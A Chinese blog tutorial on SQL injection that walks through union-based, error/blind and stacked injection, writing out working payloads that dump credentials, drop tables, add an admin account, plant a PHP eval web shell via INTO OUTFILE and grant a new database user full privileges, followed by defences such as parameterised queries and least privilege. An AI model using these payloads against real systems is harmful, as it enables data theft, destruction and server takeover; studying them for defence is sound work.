引言
SQL 注入(SQL Injection)长期占据 OWASP Top 10 的显要位置,其核心原因在于:开发者将用户输入直接拼接进 SQL 语句,导致攻击者可以篡改查询逻辑、窃取数据,甚至完全控制数据库服务器。本文将从实战角度出发,系统梳理从联合查询注入到堆叠注入的完整利用链,帮助读者理解攻击者的思维方式,并掌握对应的防御策略。

一、SQL 注入的本质
SQL 注入产生的根本条件是:用户输入被当作 SQL 代码执行,而非单纯的数据。典型场景如下:
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = $id";
当攻击者传入 1 UNION SELECT username, password FROM users-- 时,原本的数据查询就变成了数据泄露通道。
二、联合查询注入(Union-Based Injection)
2.1 原理
UNION 操作符用于合并两个 SELECT 语句的结果集。攻击者通过构造 UNION 查询,将目标数据“拼接”到正常查询结果中返回。
2.2 利用步骤
第一步:判断注入点与列数
?id=1' ORDER BY 3-- -- 正常
?id=1' ORDER BY 4-- -- 报错,说明共 3 列
第二步:确定回显位置
?id=-1' UNION SELECT 1,2,3--
页面中显示的数字位置即为可回显字段。
第三步:提取数据
?id=-1' UNION SELECT 1,database(),version()--
?id=-1' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--
?id=-1' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users'--
?id=-1' UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users--
2.3 适用条件
- 页面有回显位;
- 数据库支持 UNION(MySQL、PostgreSQL、SQL Server 均支持);
- 前后 SELECT 语句列数一致、类型兼容。
三、报错注入与盲注(过渡阶段)
当页面无回显时,联合查询失效,攻击者转向:
- 报错注入:利用
extractvalue()、updatexml()等函数将数据带入错误信息中。 - 布尔盲注:通过
AND 1=1与AND 1=2的页面差异逐字符推断。 - 时间盲注:利用
IF(condition, SLEEP(5), 0)观察响应延迟。
这些技术为后续堆叠注入奠定了“无回显也能打”的基础。
四、堆叠注入(Stacked Injection)
4.1 原理
堆叠注入允许在单个数据库连接中执行多条 SQL 语句,语句之间用分号 ; 分隔。例如:
?id=1'; DROP TABLE users--
与联合注入不同,堆叠注入不仅能读数据,还能执行任意 SQL 操作:增删改表、调用存储过程、写入文件、甚至提权。
4.2 利用链示例
场景:MySQL + PHP + mysqli_query(支持多语句)
-- 1. 插入管理员账户
?id=1'; INSERT INTO users(username,password,role) VALUES('hacker','md5pass','admin')--
-- 2. 写入 WebShell(需 secure_file_priv 为空)
?id=1'; SELECT '<?php eval($_POST[cmd]);?>' INTO OUTFILE '/var/www/html/shell.php'--
-- 3. 创建新用户并提权
?id=1'; CREATE USER 'attacker'@'%' IDENTIFIED BY 'pass'; GRANT ALL ON *.* TO 'attacker'@'%'--
4.3 与联合注入的关键差异
| 特性 | 联合注入 | 堆叠注入 |
|---|---|---|
| 语句数量 | 单条 | 多条 |
| 回显依赖 | 必须 | 不必须 |
| 操作类型 | 主要读 | 读写/提权 |
| 支持数据库 | 广泛 | MySQL(PHP mysqli)、MSSQL、PostgreSQL |
| 利用难度 | 低 | 中高 |
4.4 限制条件
- API 层面:PHP 的
mysqli_query()默认不支持多语句,但mysqli_multi_query()支持;PDO 默认禁用。 - 数据库权限:写入文件需要
FILE权限且secure_file_priv未限制。 - WAF 拦截:多数 WAF 会拦截分号与危险关键字。
五、完整利用链总结
信息收集 → 判断注入类型 → 联合查询获取数据
↓(无回显)
报错/盲注推断数据
↓(高权限 + 多语句支持)
堆叠注入 → 写入 WebShell / 提权 / 持久化
攻击者往往按此链路逐级递进:先确认注入点,再选择代价最低的利用方式,最终实现从数据泄露到服务器控制的跨越。
六、防御策略
- 参数化查询(预编译):最有效的防御手段,从根本上分离代码与数据。
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?"); $stmt->execute([$id]); - 最小权限原则:Web 应用连接数据库的账户不应具备
FILE、DROP、GRANT等高危权限。 - 输入验证与白名单:对 ID 等参数强制类型转换,如
intval($id)。 - WAF 与日志监控:拦截常见注入特征,并对异常 SQL 行为告警。
- 关闭危险配置:设置
secure_file_priv、禁用mysqli_multi_query。 - 错误信息屏蔽:生产环境不返回详细数据库错误,避免报错注入。
结语
从联合查询注入到堆叠注入,攻击链的每一步都建立在对 SQL 语义与数据库特性的深刻理解之上。防御者只有站在攻击者视角审视代码,才能真正堵住漏洞。参数化查询是基石,最小权限是底线,持续监控是保障——三者结合,才能构建起对抗 SQL 注入的纵深防线。
未经允许不得转载:任鹏个人博客 » SQL 注入攻防实战:从联合查询注入到堆叠注入的完整利用链

